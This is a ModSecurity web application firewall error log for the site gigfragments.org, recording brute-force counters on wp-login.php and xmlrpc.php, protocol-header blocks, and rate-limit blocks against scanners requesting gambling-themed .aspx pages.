[Wed Mar 18 14:35:06.430381 2026] [:error] [pid 42871:tid 42922] [client 37.140.223.24:37749] [client 37.140.223.24] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.24, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abpHmmPUS0lM1M9nUaLE6gAAAIg"]
[Wed Mar 18 14:39:18.019042 2026] [:error] [pid 42970:tid 42974] [client 193.36.225.249:49559] [client 193.36.225.249] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.36.225.249, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abpIlo5YFUj4vBJI0KQRxgAAAMI"]
[Wed Mar 18 14:39:18.019622 2026] [:error] [pid 42870:tid 42889] [client 37.140.223.21:49801] [client 37.140.223.21] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.21, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abpIlp6axlAooiuYyUzZCwAAAAQ"]
[Wed Mar 18 14:43:37.986854 2026] [:error] [pid 43009:tid 43034] [client 193.36.225.249:38659] [client 193.36.225.249] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.36.225.249, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abpJmX8aUp4Sm6m3nmMICwAAARc"]
[Wed Mar 18 14:43:37.987219 2026] [:error] [pid 20667:tid 20691] [client 193.36.225.249:60167] [client 193.36.225.249] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.36.225.249, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abpJmZgyfQyvBhzza_1DsgAAAZY"]
[Wed Mar 18 16:49:16.935702 2026] [:error] [pid 42871:tid 42935] [client 85.215.50.231:37576] [client 85.215.50.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vip.aspx"] [unique_id "abpnDGPUS0lM1M9nUaIOGgAAAJU"]
[Wed Mar 18 16:49:18.914173 2026] [:error] [pid 31232:tid 31256] [client 85.215.50.231:37592] [client 85.215.50.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "abpnDmX6HV7dqh3BQD13iAAAAFU"]
[Wed Mar 18 16:49:20.983348 2026] [:error] [pid 31232:tid 31243] [client 85.215.50.231:8396] [client 85.215.50.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot.aspx"] [unique_id "abpnEGX6HV7dqh3BQD13mAAAAEg"]
[Wed Mar 18 16:49:22.956799 2026] [:error] [pid 31232:tid 31247] [client 85.215.50.231:8400] [client 85.215.50.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot168.aspx"] [unique_id "abpnEmX6HV7dqh3BQD13oAAAAEw"]
[Wed Mar 18 16:49:24.985183 2026] [:error] [pid 31232:tid 31257] [client 85.215.50.231:8410] [client 85.215.50.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot99.aspx"] [unique_id "abpnFGX6HV7dqh3BQD13qQAAAFY"]
[Wed Mar 18 16:49:26.875312 2026] [:error] [pid 31232:tid 31243] [client 85.215.50.231:8426] [client 85.215.50.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20soft.aspx"] [unique_id "abpnFmX6HV7dqh3BQD13sgAAAEg"]
[Wed Mar 18 16:49:28.894998 2026] [:error] [pid 42870:tid 42891] [client 85.215.50.231:8438] [client 85.215.50.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20th.aspx"] [unique_id "abpnGJ6axlAooiuYyUz6QwAAAAY"]
[Wed Mar 18 16:51:34.626595 2026] [:error] [pid 31232:tid 31251] [client 85.215.50.231:3220] [client 85.215.50.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20auto.aspx"] [unique_id "abpnlmX6HV7dqh3BQD15XwAAAFA"]
[Wed Mar 18 16:51:36.592208 2026] [:error] [pid 53755:tid 53767] [client 85.215.50.231:3230] [client 85.215.50.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20ca.aspx"] [unique_id "abpnmKqw5ZSRshmIhWnOqAAAAUo"]
[Wed Mar 18 16:51:38.569858 2026] [:error] [pid 42871:tid 42937] [client 85.215.50.231:3246] [client 85.215.50.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20777.aspx"] [unique_id "abpnmmPUS0lM1M9nUaIPtQAAAJc"]
[Wed Mar 18 16:51:40.546487 2026] [:error] [pid 31232:tid 31238] [client 85.215.50.231:54450] [client 85.215.50.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20888.aspx"] [unique_id "abpnnGX6HV7dqh3BQD15ggAAAEM"]
[Wed Mar 18 16:51:42.522189 2026] [:error] [pid 31232:tid 31245] [client 85.215.50.231:54464] [client 85.215.50.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%2099.aspx"] [unique_id "abpnnmX6HV7dqh3BQD15nAAAAEo"]
[Wed Mar 18 16:51:44.506603 2026] [:error] [pid 31232:tid 31255] [client 85.215.50.231:54472] [client 85.215.50.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20auto.aspx"] [unique_id "abpnoGX6HV7dqh3BQD15rQAAAFQ"]
[Wed Mar 18 16:51:46.497902 2026] [:error] [pid 53755:tid 53774] [client 85.215.50.231:54478] [client 85.215.50.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20demo.aspx"] [unique_id "abpnoqqw5ZSRshmIhWnO1QAAAVE"]
[Wed Mar 18 16:51:48.346851 2026] [:error] [pid 53755:tid 53757] [client 85.215.50.231:54484] [client 85.215.50.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20free.aspx"] [unique_id "abpnpKqw5ZSRshmIhWnO2wAAAUA"]
[Wed Mar 18 16:51:50.337421 2026] [:error] [pid 42871:tid 42928] [client 85.215.50.231:5434] [client 85.215.50.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20game%20666.aspx"] [unique_id "abpnpmPUS0lM1M9nUaIP6wAAAI4"]
[Wed Mar 18 16:51:52.313470 2026] [:error] [pid 31232:tid 31254] [client 85.215.50.231:5442] [client 85.215.50.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20joker.aspx"] [unique_id "abpnqGX6HV7dqh3BQD150gAAAFM"]
[Wed Mar 18 16:51:54.310665 2026] [:error] [pid 20667:tid 20674] [client 85.215.50.231:5444] [client 85.215.50.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20online.aspx"] [unique_id "abpnqpgyfQyvBhzza_1aSQAAAYU"]
[Wed Mar 18 16:51:56.304961 2026] [:error] [pid 42871:tid 42928] [client 85.215.50.231:5452] [client 85.215.50.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20soft.aspx"] [unique_id "abpnrGPUS0lM1M9nUaIP-QAAAI4"]
[Wed Mar 18 16:51:58.273011 2026] [:error] [pid 42970:tid 42986] [client 85.215.50.231:5456] [client 85.215.50.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20vip.aspx"] [unique_id "abpnro5YFUj4vBJI0KQdzAAAAM4"]
[Wed Mar 18 16:52:00.258896 2026] [:error] [pid 42871:tid 42925] [client 85.215.50.231:49320] [client 85.215.50.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "abpnsGPUS0lM1M9nUaIQCAAAAIs"]
[Wed Mar 18 16:52:02.251416 2026] [:error] [pid 53755:tid 53779] [client 85.215.50.231:49330] [client 85.215.50.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20super%20wallet.aspx"] [unique_id "abpnsqqw5ZSRshmIhWnPIgAAAVY"]
[Wed Mar 18 16:52:04.087790 2026] [:error] [pid 42871:tid 42922] [client 85.215.50.231:49344] [client 85.215.50.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20true%20wallet.aspx"] [unique_id "abpntGPUS0lM1M9nUaIQVQAAAIg"]
[Wed Mar 18 16:52:06.078347 2026] [:error] [pid 42870:tid 42907] [client 85.215.50.231:49348] [client 85.215.50.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "abpntp6axlAooiuYyUz7dQAAABY"]
[Wed Mar 18 16:52:07.890960 2026] [:error] [pid 42871:tid 42925] [client 85.215.50.231:49350] [client 85.215.50.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "abpnt2PUS0lM1M9nUaIQsAAAAIs"]
[Wed Mar 18 16:52:09.890488 2026] [:error] [pid 53755:tid 53766] [client 85.215.50.231:40618] [client 85.215.50.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet.aspx"] [unique_id "abpnuaqw5ZSRshmIhWnPbwAAAUk"]
[Wed Mar 18 16:52:11.708161 2026] [:error] [pid 31232:tid 31236] [client 85.215.50.231:40620] [client 85.215.50.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot1234%20pg.aspx"] [unique_id "abpnu2X6HV7dqh3BQD16cAAAAEE"]
[Wed Mar 18 16:52:13.732128 2026] [:error] [pid 31232:tid 31240] [client 85.215.50.231:40632] [client 85.215.50.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slotxo%20wallet.aspx"] [unique_id "abpnvWX6HV7dqh3BQD16pgAAAEU"]
[Wed Mar 18 16:52:15.725913 2026] [:error] [pid 31232:tid 31244] [client 85.215.50.231:40640] [client 85.215.50.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spg%20slot.aspx"] [unique_id "abpnv2X6HV7dqh3BQD161QAAAEk"]
[Wed Mar 18 16:52:17.736894 2026] [:error] [pid 42871:tid 42917] [client 85.215.50.231:40646] [client 85.215.50.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spx%20slot.aspx"] [unique_id "abpnwWPUS0lM1M9nUaISHgAAAIM"]
[Wed Mar 18 16:52:19.733518 2026] [:error] [pid 42870:tid 42890] [client 85.215.50.231:34174] [client 85.215.50.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20pg%201688.aspx"] [unique_id "abpnw56axlAooiuYyUz8NgAAAAU"]
[Wed Mar 18 16:52:21.713503 2026] [:error] [pid 53755:tid 53780] [client 85.215.50.231:34176] [client 85.215.50.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20slot.aspx"] [unique_id "abpnxaqw5ZSRshmIhWnPfwAAAVc"]
[Wed Mar 18 16:52:23.551784 2026] [:error] [pid 31232:tid 31236] [client 85.215.50.231:34188] [client 85.215.50.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "abpnx2X6HV7dqh3BQD16_AAAAEE"]
[Wed Mar 18 16:52:25.557067 2026] [:error] [pid 43009:tid 43019] [client 85.215.50.231:34194] [client 85.215.50.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20vip.aspx"] [unique_id "abpnyX8aUp4Sm6m3nmMYIAAAAQg"]
[Wed Mar 18 16:52:27.547132 2026] [:error] [pid 31232:tid 31242] [client 85.215.50.231:34204] [client 85.215.50.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "abpny2X6HV7dqh3BQD17CgAAAEc"]
[Wed Mar 18 16:52:29.547949 2026] [:error] [pid 42870:tid 42895] [client 85.215.50.231:45030] [client 85.215.50.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet.aspx"] [unique_id "abpnzZ6axlAooiuYyUz8PQAAAAo"]
[Wed Mar 18 16:53:14.927599 2026] [:error] [pid 20667:tid 20689] [client 85.215.50.231:45526] [client 85.215.50.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "abpn-pgyfQyvBhzza_1a9QAAAZQ"]
[Wed Mar 18 16:53:16.942719 2026] [:error] [pid 53755:tid 53773] [client 85.215.50.231:45538] [client 85.215.50.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto.aspx"] [unique_id "abpn_Kqw5ZSRshmIhWnQQgAAAVA"]
[Wed Mar 18 16:53:18.833099 2026] [:error] [pid 31232:tid 31237] [client 85.215.50.231:45546] [client 85.215.50.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20net.aspx"] [unique_id "abpn_mX6HV7dqh3BQD19cwAAAEI"]
[Wed Mar 18 18:11:08.835339 2026] [:error] [pid 42870:tid 42906] [client 43.153.73.200:53896] [client 43.153.73.200] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "abp6PJ6axlAooiuYyUwO4wAAABU"]
[Wed Mar 18 19:47:22.141867 2026] [:error] [pid 42871:tid 42931] [client 182.44.9.147:39510] [client 182.44.9.147] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "abqQymPUS0lM1M9nUaJXuwAAAJE"]
[Wed Mar 18 21:24:06.811860 2026] [:error] [pid 42870:tid 42886] [client 95.72.204.124:40748] [client 95.72.204.124] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 95.72.204.124, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "abqndp6axlAooiuYyUw70gAAAAE"]
[Thu Mar 19 04:24:16.846841 2026] [:error] [pid 23882:tid 23902] [client 217.182.194.2:49204] [client 217.182.194.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/auto%20slot.aspx"] [unique_id "absJ8LWnClbtbN12M7_ueAAAAAA"]
[Thu Mar 19 04:24:18.851823 2026] [:error] [pid 23883:tid 23930] [client 217.182.194.2:48030] [client 217.182.194.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20casino.aspx"] [unique_id "absJ8tNi-EnEAH4abz1c6QAAAEE"]
[Thu Mar 19 04:24:20.863376 2026] [:error] [pid 23988:tid 24010] [client 217.182.194.2:48042] [client 217.182.194.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20co.aspx"] [unique_id "absJ9GnlkSPXj2matr3d0QAAANM"]
[Thu Mar 19 04:24:22.706867 2026] [:error] [pid 23988:tid 23993] [client 217.182.194.2:48052] [client 217.182.194.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20dc.aspx"] [unique_id "absJ9mnlkSPXj2matr3d6QAAAMI"]
[Thu Mar 19 04:24:24.721932 2026] [:error] [pid 23988:tid 23992] [client 217.182.194.2:48068] [client 217.182.194.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20original.aspx"] [unique_id "absJ-GnlkSPXj2matr3d7wAAAME"]
[Thu Mar 19 04:24:26.716938 2026] [:error] [pid 23883:tid 23938] [client 217.182.194.2:48074] [client 217.182.194.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20slot.aspx"] [unique_id "absJ-tNi-EnEAH4abz1c9gAAAEk"]
[Thu Mar 19 04:24:28.645244 2026] [:error] [pid 23884:tid 23979] [client 217.182.194.2:43998] [client 217.182.194.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20thailand.aspx"] [unique_id "absJ_F6St-VCdOYnZMrBdgAAAJc"]
[Thu Mar 19 04:24:30.640427 2026] [:error] [pid 23882:tid 23903] [client 217.182.194.2:44002] [client 217.182.194.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20auto.aspx"] [unique_id "absJ_rWnClbtbN12M7_ujgAAAAE"]
